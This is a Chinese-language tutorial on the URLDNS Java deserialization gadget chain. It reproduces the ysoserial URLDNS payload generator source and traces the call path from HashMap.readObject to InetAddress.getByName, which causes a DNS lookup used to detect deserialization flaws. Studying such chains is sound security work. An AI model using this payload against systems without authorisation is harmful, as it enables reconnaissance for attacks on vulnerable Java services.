Java安全-反序列化URLDNS

P神的Java安全漫谈里说,学习Java反序列化,先从URLDNS 开始看起,因为它足够简单,那我们就从URLDNS这条链子开始学习,然后再去看CC链

那什么是利用链呢,利用链也叫“gadget chains”,我们通常称为gadget,顾名思义就是一条利用恶意代码去执行某些命令的链子,从触发位置到利用执行命令的位置结束

那我们接下来就来看看URLDNS这条利用链,这条利用链通常用于检测是否存在Java反序列化漏洞

简介

URLDNS这条链,并不能用来执行其他命令来进行RCE,只能用来发送一次DNS请求到我们指定的网站上,然后我们就能查看是否有请求记录而来判断是否存在Java的反序列化漏洞。简单的来说:URLDNS只能用来探测和验证是否存在漏洞。看似没什么用,但其实在渗透测试的实战中,这种用DNS请求来探测和验证漏洞的点到为止的思想还是挺常用的。而且这个Gadget还不需要任何其他的依赖,原生Java就能够成功调用成功。

该利用链有三个特点

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

首先看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

利用分析

从注释中我们可以看到利用链的调用顺序

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup,将URL作为key传入

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

首先的触发点是HashMap的readObject函数,我们跟进看看

此处省去不重要的代码,截取部分关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s){
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
//throw xxx
else if (mappings > 0) {
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}

大概意思就是会先判断Map的大小,如果大于0的话,会进入一个for循环,然后遍历Map的key和value,然后在遍历的过程中调用putVal函数,其中key值又被hash函数调用

然后再跟进到hash函数

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里的意思就是先判断一下key值是否为空,如果不为空的话,则又会对key值进行一个hashCode函数的处理,由上文中的部分Payload可知,这里的Key是URL类,所以我们下一步跟进URL类的hashCode函数

1
2
3
4
5
6
7
8
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);//this就是URL的一个类
return hashCode;
}

这里hashCode的默认值为-1,然后会紧跟着调用handler.hashCode(this),那么我们再跟进去看看,其关键部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
//省略
}

其中的关键就在于**InetAddress addr = getHostAddress(u);**这段代码,他对URL调用了getHostAddress方法,那么我们看看这个方法是干什么的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

其中重要的是InetAddress.getByName,它的作用是根据主机名,获取其IP地址,在网络上其实就是一次DNS查询,对传入的参数发送DNS请求,如下图所示

至此这一条Gadget就跟完了

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

原理:

java.util.HashMap 重写了 readObject,在反序列化时会调用 hash 函数计算 key 的 hashCode,而 java.net.URLhashCode在计算时会调用 getHostAddress 来解析域名,最终调用 getByName从而发出 DNS 请求

几个细节

首先是在初始化URL类时,并没有像我们实验的那样子,直接 new URL("");生成一个URL类进行使用,而是还额外提供了一个handler,代码如下:

1
2
3
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key

我们注意到,Payload中使用的是new一个SilentURLStreamHandler类,并且在注释上写到“Avoid DNS resolution during payload creation”,所以这行代码的意义就是“避免在生成Payload的时候进行DNS解析”,这是由于payload在生成的时候,也会调用一次HashMap#put函数,把其放入HashMap中,而其代码如下

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

在这里同样会进行一次DNS解析,为了排除这个干扰,作者自行编写了一个URLStreamHandler子类

1
2
3
4
5
6
7
8
9
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

重写getHostAddress的原因,显然是使其在put时,不会成功的引起DNS解析,因为子类重写的方法会覆盖父类对应方法,也就是说,在最后调用getHostAddress时,只会return null;而重写openConnection原因则更为简单,因为URLStreamHandler是一个抽象类,所以必须重写其所有的抽象方法,这里的openConnection便是其中的抽象类